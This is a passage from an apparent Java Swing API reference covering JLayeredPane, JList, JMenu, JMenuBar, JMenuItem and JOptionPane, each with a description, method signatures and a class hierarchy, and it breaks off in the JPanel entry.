This class is a Swing container that layers its children according to a specified stacking order. When you add a child to a JLayeredPane, you specify an Integer as the constraints argument to the add() methods. This Integer object specifies the layer number for the child, where higher numbers are nearer the top of the stack. JLayeredPane defines a number of _LAYER constants as predefined layers. The layer of a child can also be set with setLayer(). If multiple children are in the same layer, their relative stacking order is determined by their insertion order. This position within a layer can be modified with setPosition(), moveToFront(), and moveToBack(). JLayeredPane is typically used without a layout manager; children have their size and position explicitly set.

All JFrame, JDialog, JApplet, and JInternalFrame objects contain a JRootPane which, in turn, contains a JLayeredPane. This internal JLayeredPane is used to correctly layer lightweight menus, dialogs, floating palettes, internal frames, and so forth.

public class JLayeredPane extends JComponent implements Accessible {
// | Public Constructors
 | public JLayeredPane (); |
// | Public Constants
 | public static final Integer DEFAULT_LAYER ; |
 | public static final Integer DRAG_LAYER ; |
 | public static final Integer FRAME_CONTENT_LAYER ; |
 | public static final String LAYER_PROPERTY ; | ="layeredContainerLayer"
 | public static final Integer MODAL_LAYER ; |
 | public static final Integer PALETTE_LAYER ; |
 | public static final Integer POPUP_LAYER ; |
// | Inner Classes
 | ; |
// | Public Class Methods
 | public static int getLayer (JComponent c); |
 | public static JLayeredPane getLayeredPaneAbove (Component c); |
 | public static void putLayer (JComponent c, int layer); |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJLayeredPane
 | public boolean isOptimizedDrawingEnabled (); | Overrides:JComponent default:true
// | Public Instance Methods
 | public int getComponentCountInLayer (int layer); |
 | public Component[ ] getComponentsInLayer (int layer); |
 | public int getIndexOf (Component c); |
 | public int getLayer (Component c); |
 | public int getPosition (Component c); |
 | public int highestLayer (); |
 | public int lowestLayer (); |
 | public void moveToBack (Component c); |
 | public void moveToFront (Component c); |
 | public void setLayer (Component c, int layer); |
 | public void setLayer (Component c, int layer, int position); |
 | public void setPosition (Component c, int position); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJLayeredPane
// | Public Methods Overriding JComponent
 | public void paint (java.awt.Graphics g); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
// | Public Methods Overriding Container
 | public void remove (int index); |
// | Protected Methods Overriding Container
 | protected void addImpl (Component comp, Object constraints, int index); |
// | Protected Instance Methods
 | protected java.util.Hashtable getComponentToLayer (); |
 | protected Integer getObjectForLayer (int layer); |
 | protected int insertIndexForLayer (int layer, int position); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JLayeredPane(Accessible)

Subclasses: JDesktopPane

Passed To: JApplet.setLayeredPane(), JDialog.setLayeredPane(), JFrame.setLayeredPane(), JInternalFrame.setLayeredPane(), JRootPane.setLayeredPane(), JWindow.setLayeredPane(), RootPaneContainer.setLayeredPane()

Returned By: JApplet.getLayeredPane(), JDialog.getLayeredPane(), JFrame.getLayeredPane(), JInternalFrame.getLayeredPane(), JLayeredPane.getLayeredPaneAbove(), JRootPane.{createLayeredPane(), getLayeredPane()}, JWindow.getLayeredPane(), RootPaneContainer.getLayeredPane()

Type Of: JRootPane.layeredPane

JList | Java 1.2
javax.swing | serializable accessible(selection) swing component

This class displays a list of items (typically strings) and allows the user to select one or more of them. The objects to be displayed are stored in a ListModel object. Two JList constructors allow list items to be specified as a static array or Vector of objects, however. For a dynamic list of elements, you may want to use your own instance of DefaultListModel, which maintains a Vector-like list of objects. By default, JList displays lists of strings. To display other types of list items, define an appropriate ListCellRenderer class and pass an instance of it to setCellRenderer().

The selection state of the JList is maintained by a ListSelectionModel object. By default, JList uses a DefaultListSelectionModel object. Application programmers rarely need to work with the ListSelectionModel directly because JList provides a number of methods to query and set the selection state. setSelectionMode() specifies the types of selections allowed by the JList. Its argument should be one of the three constants defined by ListSelectionModel. SINGLE_SELECTION allows only a single item to be selected, while SINGLE_INTERVAL_SELECTION allows multiple items in a single contiguous block to be selected and MULTIPLE_INTERVAL_SELECTION allows any number of items, contiguous or not, to be selected.

JList generates a javax.swing.event.ListSelectionEvent when the selection state changes and sends it to the valueChanged() methods of any registered javax.swing.event.ListSelectionListener objects.

public class JList extends JComponent implements Accessible, Scrollable {
// | Public Constructors
 | public JList (); |
 | public JList (Object[ ] listData); |
 | public JList (ListModel dataModel); |
 | public JList (java.util.Vector listData); |
// | Inner Classes
 | ; |
// | Event Registration Methods (by event name)
 | public void addListSelectionListener (javax.swing.event.ListSelectionListener listener); |
 | public void removeListSelectionListener (javax.swing.event.ListSelectionListener listener); |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJList
 | public int getAnchorSelectionIndex (); | default:-1
 | public ListCellRenderer getCellRenderer (); | default:DefaultListCellRenderer.UIResource
 | public void setCellRenderer (ListCellRenderer cellRenderer); | bound
 | public int getFirstVisibleIndex (); | default:-1
 | public int getFixedCellHeight (); | default:-1
 | public void setFixedCellHeight (int height); | bound
 | public int getFixedCellWidth (); | default:-1
 | public void setFixedCellWidth (int width); | bound
 | public int getLastVisibleIndex (); | default:-1
 | public int getLeadSelectionIndex (); | default:-1
 | public int getMaxSelectionIndex (); | default:-1
 | public int getMinSelectionIndex (); | default:-1
 | public ListModel getModel (); |
 | public void setModel (ListModel model); | bound
 | public java.awt.Dimension getPreferredScrollableViewportSize (); | Implements:Scrollable
 | public Object getPrototypeCellValue (); | default:null
 | public void setPrototypeCellValue (Object prototypeCellValue); | bound
 | public boolean getScrollableTracksViewportHeight (); | Implements:Scrollable default:false
 | public boolean getScrollableTracksViewportWidth (); | Implements:Scrollable default:false
 | public int getSelectedIndex (); | default:-1
 | public void setSelectedIndex (int index); |
 | public int[ ] getSelectedIndices (); |
 | public void setSelectedIndices (int[ ] indices); |
 | public Object getSelectedValue (); | default:null
 | public Object[ ] getSelectedValues (); |
 | public java.awt.Color getSelectionBackground (); | default:ColorUIResource
 | public void setSelectionBackground (java.awt.Color selectionBackground); | bound
 | public boolean isSelectionEmpty (); | default:true
 | public java.awt.Color getSelectionForeground (); | default:ColorUIResource
 | public void setSelectionForeground (java.awt.Color selectionForeground); | bound
 | public int getSelectionMode (); | default:2
 | public void setSelectionMode (int selectionMode); |
 | public ListSelectionModel getSelectionModel (); | default:DefaultListSelectionModel
 | public void setSelectionModel (ListSelectionModel selectionModel); | bound
 | public javax.swing.plaf.ListUI getUI (); |
 | public void setUI (javax.swing.plaf.ListUI ui); |
 | public String getUIClassID (); | Overrides:JComponent default:"ListUI"
 | public boolean getValueIsAdjusting (); | default:false
 | public void setValueIsAdjusting (boolean b); |
 | public int getVisibleRowCount (); | default:8
 | public void setVisibleRowCount (int visibleRowCount); | bound
// | Public Instance Methods
 | public void addSelectionInterval (int anchor, int lead); |
 | public void clearSelection (); |
 | public void ensureIndexIsVisible (int index); |
 | public java.awt.Rectangle getCellBounds (int index1, int index2); |
 | public java.awt.Point indexToLocation (int index); |
 | public boolean isSelectedIndex (int index); |
 | public int locationToIndex (java.awt.Point location); |
 | public void removeSelectionInterval (int index0, int index1); |
 | public void setListData (Object[ ] listData); |
 | public void setListData (java.util.Vector listData); |
 | public void setSelectedValue (Object anObject, boolean shouldScroll); |
 | public void setSelectionInterval (int anchor, int lead); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJList
// | Methods Implementing Scrollable
 | public java.awt.Dimension getPreferredScrollableViewportSize (); |
 | public int getScrollableBlockIncrement (java.awt.Rectangle visibleRect, int orientation, int direction); |
 | public boolean getScrollableTracksViewportHeight (); | default:false
 | public boolean getScrollableTracksViewportWidth (); | default:false
 | public int getScrollableUnitIncrement (java.awt.Rectangle visibleRect, int orientation, int direction); |
// | Public Methods Overriding JComponent
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
// | Protected Instance Methods
 | protected ListSelectionModel createSelectionModel (); |
 | protected void fireSelectionValueChanged (int firstIndex, int lastIndex, boolean isAdjusting); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JList(Accessible,Scrollable)

Passed To: DefaultListCellRenderer.getListCellRendererComponent(), JList.AccessibleJList.AccessibleJListChild.AccessibleJListChild(), ListCellRenderer.getListCellRendererComponent(), javax.swing.plaf.ListUI.{getCellBounds(), indexToLocation(), locationToIndex()}

JMenu | Java 1.2
javax.swing | serializable accessible(action,selection,value) swing component

This class implements a pulldown menu in a menubar or a pull-right menu nested within another menu. As a subclass of JMenuItem, JMenu is effectively a menu button with an associated JPopupMenu that appears when the button is activated. Menu items can be added to a JMenu with the add(), insert(), addSeparator(), and insertSeparator() methods. Note that you can add String and Action objects in addition to regular JMenuItem objects. In these cases, an appropriate JMenuItem is automatically created for the String or Action. JMenu generates a javax.swing.event.MenuEvent when it is selected and when its menu is popped up or down. The default JMenu model is DefaultButtonModel.

public class JMenu extends JMenuItem implements Accessible, MenuElement {
// | Public Constructors
 | public JMenu (); |
 | public JMenu (String s); |
 | public JMenu (String s, boolean b); |
// | Inner Classes
 | ; |
 | ; |
// | Event Registration Methods (by event name)
 | public void addMenuListener (javax.swing.event.MenuListener l); |
 | public void removeMenuListener (javax.swing.event.MenuListener l); |
// | Property Accessor Methods (by property name)
 | public void setAccelerator (KeyStroke keyStroke); | Overrides:JMenuItem hidden
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJMenu
 | public Component getComponent (); | Implements:MenuElement default:JMenu
 | public int getDelay (); | default:200
 | public void setDelay (int d); | expert
 | public int getItemCount (); | default:0
 | public int getMenuComponentCount (); | default:0
 | public Component[ ] getMenuComponents (); |
 | public void setModel (ButtonModel newModel); | Overrides:AbstractButton bound expert hidden
 | public JPopupMenu getPopupMenu (); |
 | public boolean isPopupMenuVisible (); | default:false
 | public void setPopupMenuVisible (boolean b); | expert hidden
 | public boolean isSelected (); | Overrides:AbstractButton default:false
 | public void setSelected (boolean b); | Overrides:AbstractButton expert hidden
 | public MenuElement[ ] getSubElements (); | Implements:MenuElement
 | public boolean isTearOff (); |
 | public boolean isTopLevelMenu (); | default:false
 | public String getUIClassID (); | Overrides:JMenuItem default:"MenuUI"
// | Public Instance Methods
 | public JMenuItem add (String s); |
 | public JMenuItem add (JMenuItem menuItem); |
 | public JMenuItem add (Action a); |
 | public void addSeparator (); |
 | public JMenuItem getItem (int pos); |
 | public Component getMenuComponent (int n); |
 | public void insert (String s, int pos); |
 | public JMenuItem insert (JMenuItem mi, int pos); |
 | public JMenuItem insert (Action a, int pos); |
 | public void insertSeparator (int index); |
 | public boolean isMenuComponent (Component c); |
 | public void remove (JMenuItem item); |
 | public void setMenuLocation (int x, int y); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJMenu
// | Methods Implementing MenuElement
 | public Component getComponent (); | default:JMenu
 | public MenuElement[ ] getSubElements (); |
 | public void menuSelectionChanged (boolean isIncluded); |
// | Public Methods Overriding JMenuItem
 | public void updateUI (); |
// | Protected Methods Overriding JMenuItem
 | protected String paramString (); |
// | Public Methods Overriding AbstractButton
 | public void doClick (int pressTime); |
// | Protected Methods Overriding JComponent
 | protected void processKeyEvent (java.awt.event.KeyEvent e); |
// | Public Methods Overriding Container
 | public Component add (Component c); |
 | public void remove (Component c); |
 | public void remove (int pos); |
 | public void removeAll (); |
// | Protected Instance Methods
 | protected java.beans.PropertyChangeListener createActionChangeListener (JMenuItem b); |
 | protected JMenu.WinListener createWinListener (JPopupMenu p); |
 | protected void fireMenuCanceled (); |
 | protected void fireMenuDeselected (); |
 | protected void fireMenuSelected (); |
// | Protected Instance Fields
 | protected JMenu.WinListener popupListener ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->AbstractButton(java.awt.ItemSelectable,SwingConstants)-->JMenuItem(Accessible,MenuElement)-->JMenu(Accessible,MenuElement)

Passed To: JMenuBar.{add(), setHelpMenu()}

Returned By: JMenuBar.{add(), getHelpMenu(), getMenu()}

JMenu.WinListener | Java 1.2
javax.swing | serializable

This protected inner class is a java.awt.event.WindowListener that is used internally by JMenu to determine when the popup window containing the menu items closes. Application-level code never needs to use this class.

protected class JMenu.WinListener extends java.awt.event.WindowAdapter implements Serializable {
// | Public Constructors
 | public WinListener (JPopupMenu p);
// | Public Methods Overriding WindowAdapter
 | public void windowClosing (java.awt.event.WindowEvent e);
}

Returned By: JMenu.createWinListener()

Type Of: JMenu.popupListener

JMenuBar | Java 1.2
javax.swing | serializable accessible(selection) swing component

This class implements a menu bar. JMenu objects are placed in a JMenuBar with the add() method and can be removed with the remove() methods. A Help menu should be singled out for special treatment (typically by placing it at the right-hand edge of the menu bar) with setHelpMenu(). JMenuBar uses a SingleSelectionModel object to keep track of which of its JMenuItem children (if any) is currently selected. By default, JMenuBar uses a DefaultSingleSelectionModel model object.

In AWT, the MenuBar class is not a Component. In Swing, JMenuBar is a JComponent and can be laid out in an application like any other component. Note, however, that JFrame, JDialog, JApplet, and JInternalFrame all have setJMenuBar() methods that automatically position a JMenuBar at the top of the window. This is the easiest and most common way to lay out a menu bar.

public class JMenuBar extends JComponent implements Accessible, MenuElement {
// | Public Constructors
 | public JMenuBar (); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJMenuBar
 | public boolean isBorderPainted (); | default:true
 | public void setBorderPainted (boolean b); | bound
 | public Component getComponent (); | Implements:MenuElement default:JMenuBar
 | public JMenu getHelpMenu (); |
 | public void setHelpMenu (JMenu menu); |
 | public boolean isManagingFocus (); | Overrides:JComponent constant default:true
 | public java.awt.Insets getMargin (); |
 | public void setMargin (java.awt.Insets m); | bound
 | public int getMenuCount (); | default:0
 | public boolean isSelected (); | default:false
 | public void setSelected (Component sel); |
 | public SingleSelectionModel getSelectionModel (); | default:DefaultSingleSelectionModel
 | public void setSelectionModel (SingleSelectionModel model); | bound
 | public MenuElement[ ] getSubElements (); | Implements:MenuElement
 | public javax.swing.plaf.MenuBarUI getUI (); |
 | public void setUI (javax.swing.plaf.MenuBarUI ui); |
 | public String getUIClassID (); | Overrides:JComponent default:"MenuBarUI"
// | Public Instance Methods
 | public JMenu add (JMenu c); |
 | public Component getComponentAtIndex (int i); |
 | public int getComponentIndex (Component c); |
 | public JMenu getMenu (int index); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJMenuBar
// | Methods Implementing MenuElement
 | public Component getComponent (); | default:JMenuBar
 | public MenuElement[ ] getSubElements (); |
 | public void menuSelectionChanged (boolean isIncluded); | empty
 | public void processKeyEvent (java.awt.event.KeyEvent e, MenuElement[ ] path, MenuSelectionManager manager); | empty
 | public void processMouseEvent (java.awt.event.MouseEvent event, MenuElement[ ] path, MenuSelectionManager manager); | empty
// | Public Methods Overriding JComponent
 | public void addNotify (); |
 | public void removeNotify (); |
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected void paintBorder (java.awt.Graphics g); |
 | protected String paramString (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JMenuBar(Accessible,MenuElement)

Passed To: JApplet.setJMenuBar(), JDialog.setJMenuBar(), JFrame.setJMenuBar(), JInternalFrame.{setJMenuBar(), setMenuBar()}, JRootPane.{setJMenuBar(), setMenuBar()}

Returned By: JApplet.getJMenuBar(), JDialog.getJMenuBar(), JFrame.getJMenuBar(), JInternalFrame.{getJMenuBar(), getMenuBar()}, JRootPane.{getJMenuBar(), getMenuBar()}

Type Of: JRootPane.menuBar

JMenuItem | Java 1.2
javax.swing | serializable accessible(action,value) swing component

This class implements an item in a pulldown or popup menu. As a subclass of AbstractButton, it shares most of the properties of JButton. One new feature is that it allows an accelerator to be specified. An accelerator is a keyboard binding for the menu item. Like all Swing buttons, JMenuItem also supports a mnemonic. Accelerators differ from mnemonics in two important ways, however. First, accelerators can be used at any time, while menu item mnemonics can be used only when the menu that contains them is displayed. Second, accelerators are specified with a KeyStroke object, rather than a simple character. This allows complex bindings that include function keys and arbitrary modifier keys.

In addition to its AbstractButton functionality, JMenuItem also implements the MenuElement interface. The default JMenuItem model is DefaultButtonModel, and the UI delegate class is MenuItemUI.

public class JMenuItem extends AbstractButton implements Accessible, MenuElement {
// | Public Constructors
 | public JMenuItem (); |
 | public JMenuItem (Icon icon); |
 | public JMenuItem (String text); |
 | public JMenuItem (String text, Icon icon); |
 | public JMenuItem (String text, int mnemonic); |
// | Inner Classes
 | ; |
// | Event Registration Methods (by event name)
 | public void addMenuDragMouseListener (javax.swing.event.MenuDragMouseListener l); |
 | public void removeMenuDragMouseListener (javax.swing.event.MenuDragMouseListener l); |
 | public void addMenuKeyListener (javax.swing.event.MenuKeyListener l); |
 | public void removeMenuKeyListener (javax.swing.event.MenuKeyListener l); |
// | Property Accessor Methods (by property name)
 | public KeyStroke getAccelerator (); | default:null
 | public void setAccelerator (KeyStroke keyStroke); | bound preferred
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJMenuItem
 | public boolean isArmed (); | default:false
 | public void setArmed (boolean b); | hidden
 | public Component getComponent (); | Implements:MenuElement default:JMenuItem
 | public MenuElement[ ] getSubElements (); | Implements:MenuElement
 | public String getUIClassID (); | Overrides:JComponent default:"MenuItemUI"
// | Public Instance Methods
 | public void processMenuDragMouseEvent (javax.swing.event.MenuDragMouseEvent e); |
 | public void processMenuKeyEvent (javax.swing.event.MenuKeyEvent e); |
 | public void setUI (javax.swing.plaf.MenuItemUI ui); | bound expert hidden
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJMenuItem
// | Methods Implementing MenuElement
 | public Component getComponent (); | default:JMenuItem
 | public MenuElement[ ] getSubElements (); |
 | public void menuSelectionChanged (boolean isIncluded); |
 | public void processKeyEvent (java.awt.event.KeyEvent e, MenuElement[ ] path, MenuSelectionManager manager); |
 | public void processMouseEvent (java.awt.event.MouseEvent e, MenuElement[ ] path, MenuSelectionManager manager); |
// | Public Methods Overriding AbstractButton
 | public void setEnabled (boolean b); | bound preferred
 | public void updateUI (); |
// | Protected Methods Overriding AbstractButton
 | protected void init (String text, Icon icon); |
 | protected String paramString (); |
// | Protected Instance Methods
 | protected void fireMenuDragMouseDragged (javax.swing.event.MenuDragMouseEvent event); |
 | protected void fireMenuDragMouseEntered (javax.swing.event.MenuDragMouseEvent event); |
 | protected void fireMenuDragMouseExited (javax.swing.event.MenuDragMouseEvent event); |
 | protected void fireMenuDragMouseReleased (javax.swing.event.MenuDragMouseEvent event); |
 | protected void fireMenuKeyPressed (javax.swing.event.MenuKeyEvent event); |
 | protected void fireMenuKeyReleased (javax.swing.event.MenuKeyEvent event); |
 | protected void fireMenuKeyTyped (javax.swing.event.MenuKeyEvent event); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->AbstractButton(java.awt.ItemSelectable,SwingConstants)-->JMenuItem(Accessible,MenuElement)

Subclasses: JCheckBoxMenuItem, JMenu, JRadioButtonMenuItem

Passed To: JMenu.{add(), createActionChangeListener(), insert(), remove()}, JPopupMenu.{add(), createActionChangeListener()}

Returned By: JMenu.{add(), getItem(), insert()}, JPopupMenu.add()

JOptionPane | Java 1.2
javax.swing | serializable accessible swing component bean container

This component is used to display various types of simple dialog boxes to the user (yes, its name is misleading). It is almost always used through one of the showXXXDialog() static methods. The fact that there are more than 20 of these methods demonstrates the highly-configurable nature of this class. The showInternalXXXDialog() methods display dialogs in lightweight JInternalFrame windows. The other static methods display methods in heavyweight JDialog windows.

You can create and display a simple message dialog with showMessageDialog() and showInternalMessageDialog(). These methods display a dialog box that contains the specified message, an optional icon, and an Okay button that dismisses the dialog. The dialog is modal, meaning it blocks, returning only when the user has dismissed the dialog. The parentComponent argument specifies the component that serves as the parent of the dialog (the dialog typically pops up over this component), while title specifies a string to appear in the titlebar of the dialog. The message argument is more complex. It is declared as an Object. You typically pass a String value, which is automatically displayed in a JLabel. However, you can also specify an Icon, which is also displayed in a JLabel, or any JComponent, which is displayed as is. Furthermore, instead of specifying a single message object, you can specify an array of objects that contains any combination of strings, icons, and components. The messageType argument must be one of the constants WARNING_MESSAGE, QUESTION_MESSAGE, INFO_MESSAGE, ERROR_MESSAGE, or PLAIN_MESSAGE. These constants specify the basic type of message you are displaying. The current look-and-feel may customize the appearance of the dialog based on this value. Typically, the customization is limited to the display of one of a standard set of icons. If you'd like to override the default icon for the dialog, you can also explicitly specify an icon argument.

The showConfirmDialog() and showInternalConfirmDialog() methods are much like showMessageDialog() and showInternalMessageDialog(), except that they ask the user to make a choice and provide several push buttons that represent the options available to the user. (It is the options represented by these buttons from which the name JOptionPane derives.) For example, showConfirmDialog() can be used to display a dialog that asks "Do you really want to quit?" and allows the user to respond by pushing either a Yes button or a No button. The parentComponent, title, message, messageType, and icon arguments to these methods are the same as for the message dialogs. The confirm dialogs add an optionType argument and a return value. optionType specifies which buttons should appear in the dialog. It should be one of the constants DEFAULT_OPTION, YES_NO_OPTION, YES_NO_CANCEL_OPTION, or OK_CANCEL_OPTION. DEFAULT_OPTION provides a single Okay button; the others provide buttons as indicated by their names. Like the message dialogs, the confirm dialogs are modal, and the static methods that display them block until the user has dismissed the dialog. Since confirm dialogs present choices to the user, they have return values that indicate the choice the user selected. This return value is one of the constants OK_OPTION, CANCEL_OPTION, YES_OPTION, NO_OPTION, or CLOSED_OPTION. This last value indicates that the user closed the dialog window without selecting any of the available buttons; typically, it should be treated as a CANCEL_OPTION response.

showOptionDialog() and showInternalOptionDialog() are generalizations of the confirm dialog. They take an options argument, which specifies what buttons to display in the dialog box, and an initialValue argument, which specifies which of these buttons should be the default button. The options argument is an array of objects. Typically, you specify string values that the JOptionPane displays in JButton components. You can provide arbitrary components in the options array, but if you do so, you must arrange for each component to update the state of the JOptionPane by calling its setValue() method when selected.

The final category of dialogs are the input dialogs, created with showInputDialog() and showInternalInputDialog(). Most versions of these methods take the same arguments as the message dialogs. However, in addition to displaying a message, they also contain a JTextField in which the user can enter whatever input value is requested. These dialogs are modal, and the methods that display them block until the user has dismissed the dialog. If the user dismisses the dialog with the Okay button, the methods return the user's input as a String. If the user dismisses the dialog with the Cancel button, these methods return null. One version of both showInputDialog() and showInternalInputDialog() are different. These methods take additional selectionValues and initialSelectionValue arguments. Instead of asking the user to enter a string, they ask the user to choose among the values contained in the selectionValues array (presenting initialSelectionValue as the default value). The display of these values is left to the current look-and-feel, although they are typically displayed using a JComboBox or JList component. The selectionValues array typically contains strings, but it may also contain Icon objects or other objects that can be meaningfully displayed by JList and JComboBox components. When you pass an array of selectionValues to showInputDialog() or showInternalInputDialog(), the return value is the value the user has chosen or null, if the user selected the Cancel button.

Instead of using one of the static methods to display a JOptionPane dialog, you can also create a JOptionPane component, set properties as desired, and then create a dialog to contain it by calling the createDialog() or createInternalFrame() instance method.

public class JOptionPane extends JComponent implements Accessible {
// | Public Constructors
 | public JOptionPane (); |
 | public JOptionPane (Object message); |
 | public JOptionPane (Object message, int messageType); |
 | public JOptionPane (Object message, int messageType, int optionType); |
 | public JOptionPane (Object message, int messageType, int optionType, Icon icon); |
 | public JOptionPane (Object message, int messageType, int optionType, Icon icon, Object[ ] options); |
 | public JOptionPane (Object message, int messageType, int optionType, Icon icon, Object[ ] options, Object initialValue); |
// | Public Constants
 | public static final int CANCEL_OPTION ; | =2
 | public static final int CLOSED_OPTION ; | =-1
 | public static final int DEFAULT_OPTION ; | =-1
 | public static final int ERROR_MESSAGE ; | =0
 | public static final String ICON_PROPERTY ; | ="icon"
 | public static final int INFORMATION_MESSAGE ; | =1
 | public static final String INITIAL_SELECTION_VALUE_PROPERTY ; | ="initialSelectionValue"
 | public static final String INITIAL_VALUE_PROPERTY ; | ="initialValue"
 | public static final String INPUT_VALUE_PROPERTY ; | ="inputValue"
 | public static final String MESSAGE_PROPERTY ; | ="message"
 | public static final String MESSAGE_TYPE_PROPERTY ; | ="messageType"
 | public static final int NO_OPTION ; | =1
 | public static final int OK_CANCEL_OPTION ; | =2
 | public static final int OK_OPTION ; | =0
 | public static final String OPTION_TYPE_PROPERTY ; | ="optionType"
 | public static final String OPTIONS_PROPERTY ; | ="options"
 | public static final int PLAIN_MESSAGE ; | =-1
 | public static final int QUESTION_MESSAGE ; | =3
 | public static final String SELECTION_VALUES_PROPERTY ; | ="selectionValues"
 | public static final Object UNINITIALIZED_VALUE ; |
 | public static final String VALUE_PROPERTY ; | ="value"
 | public static final String WANTS_INPUT_PROPERTY ; | ="wantsInput"
 | public static final int WARNING_MESSAGE ; | =2
 | public static final int YES_NO_CANCEL_OPTION ; | =1
 | public static final int YES_NO_OPTION ; | =0
 | public static final int YES_OPTION ; | =0
// | Inner Classes
 | ; |
// | Public Class Methods
 | public static JDesktopPane getDesktopPaneForComponent (Component parentComponent); |
 | public static java.awt.Frame getFrameForComponent (Component parentComponent); |
 | public static java.awt.Frame getRootFrame (); |
 | public static void setRootFrame (java.awt.Frame newRootFrame); |
 | public static int showConfirmDialog (Component parentComponent, Object message); |
 | public static int showConfirmDialog (Component parentComponent, Object message, String title, int optionType); |
 | public static int showConfirmDialog (Component parentComponent, Object message, String title, int optionType, int messageType); |
 | public static int showConfirmDialog (Component parentComponent, Object message, String title, int optionType, int messageType, Icon icon); |
 | public static String showInputDialog (Object message); |
 | public static String showInputDialog (Component parentComponent, Object message); |
 | public static String showInputDialog (Component parentComponent, Object message, String title, int messageType); |
 | public static Object showInputDialog (Component parentComponent, Object message, String title, int messageType, Icon icon, Object[ ] selectionValues, Object initialSelectionValue); |
 | public static int showInternalConfirmDialog (Component parentComponent, Object message); |
 | public static int showInternalConfirmDialog (Component parentComponent, Object message, String title, int optionType); |
 | public static int showInternalConfirmDialog (Component parentComponent, Object message, String title, int optionType, int messageType); |
 | public static int showInternalConfirmDialog (Component parentComponent, Object message, String title, int optionType, int messageType, Icon icon); |
 | public static String showInternalInputDialog (Component parentComponent, Object message); |
 | public static String showInternalInputDialog (Component parentComponent, Object message, String title, int messageType); |
 | public static Object showInternalInputDialog (Component parentComponent, Object message, String title, int messageType, Icon icon, Object[ ] selectionValues, Object initialSelectionValue); |
 | public static void showInternalMessageDialog (Component parentComponent, Object message); |
 | public static void showInternalMessageDialog (Component parentComponent, Object message, String title, int messageType); |
 | public static void showInternalMessageDialog (Component parentComponent, Object message, String title, int messageType, Icon icon); |
 | public static int showInternalOptionDialog (Component parentComponent, Object message, String title, int optionType, int messageType, Icon icon, Object[ ] options, Object initialValue); |
 | public static void showMessageDialog (Component parentComponent, Object message); |
 | public static void showMessageDialog (Component parentComponent, Object message, String title, int messageType); |
 | public static void showMessageDialog (Component parentComponent, Object message, String title, int messageType, Icon icon); |
 | public static int showOptionDialog (Component parentComponent, Object message, String title, int optionType, int messageType, Icon icon, Object[ ] options, Object initialValue); |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJOptionPane expert
 | public Icon getIcon (); | default:null
 | public void setIcon (Icon newIcon); | bound preferred
 | public Object getInitialSelectionValue (); | default:null
 | public void setInitialSelectionValue (Object newValue); | bound
 | public Object getInitialValue (); | default:null
 | public void setInitialValue (Object newInitialValue); | bound preferred
 | public Object getInputValue (); |
 | public void setInputValue (Object newValue); | bound preferred
 | public int getMaxCharactersPerLineCount (); | default:2147483647
 | public Object getMessage (); |
 | public void setMessage (Object newMessage); | bound preferred
 | public int getMessageType (); | default:-1
 | public void setMessageType (int newType); | bound preferred
 | public Object[ ] getOptions (); | default:null
 | public void setOptions (Object[ ] newOptions); | bound
 | public int getOptionType (); | default:-1
 | public void setOptionType (int newType); | bound preferred
 | public Object[ ] getSelectionValues (); | default:null
 | public void setSelectionValues (Object[ ] newValues); | bound
 | public javax.swing.plaf.OptionPaneUI getUI (); |
 | public void setUI (javax.swing.plaf.OptionPaneUI ui); | bound hidden
 | public String getUIClassID (); | Overrides:JComponent default:"OptionPaneUI"
 | public Object getValue (); |
 | public void setValue (Object newValue); | bound preferred
 | public boolean getWantsInput (); | default:false
 | public void setWantsInput (boolean newValue); |
// | Public Instance Methods
 | public JDialog createDialog (Component parentComponent, String title); |
 | public JInternalFrame createInternalFrame (Component parentComponent, String title); |
 | public void selectInitialValue (); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJOptionPane expert
// | Public Methods Overriding JComponent
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
// | Protected Instance Fields
 | protected transient Icon icon ; |
 | protected transient Object initialSelectionValue ; |
 | protected transient Object initialValue ; |
 | protected transient Object inputValue ; |
 | protected transient Object message ; |
 | protected int messageType ; |
 | protected transient Object[ ] options ; |
 | protected int optionType ; |
 | protected transient Object[ ] selectionValues ; |
 | protected transient Object value ; |
 | protected boolean wantsInput ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JOptionPane(Accessible)

Passed To: javax.swing.plaf.OptionPaneUI.{containsCustomComponents(), selectInitialValue()}

JPanel | Java 1.2
javax.swing | serializable accessible swing component

This component is a lightweight container that is commonly used to group other components within graphical user interfaces. Use setLayout() to specify a java.awt.LayoutManager to control the arrangement of components within the JPanel. Various JPanel() constructors make it easy to set the values of the inherited layout and doubleBuffered properties.

public class JPanel extends JComponent implements Accessible {
// | Public Constructors
 | public JPanel (); |
 | public JPanel (boolean isDoubleBuffered); |
 | public JPanel (java.awt.LayoutManager layout); |
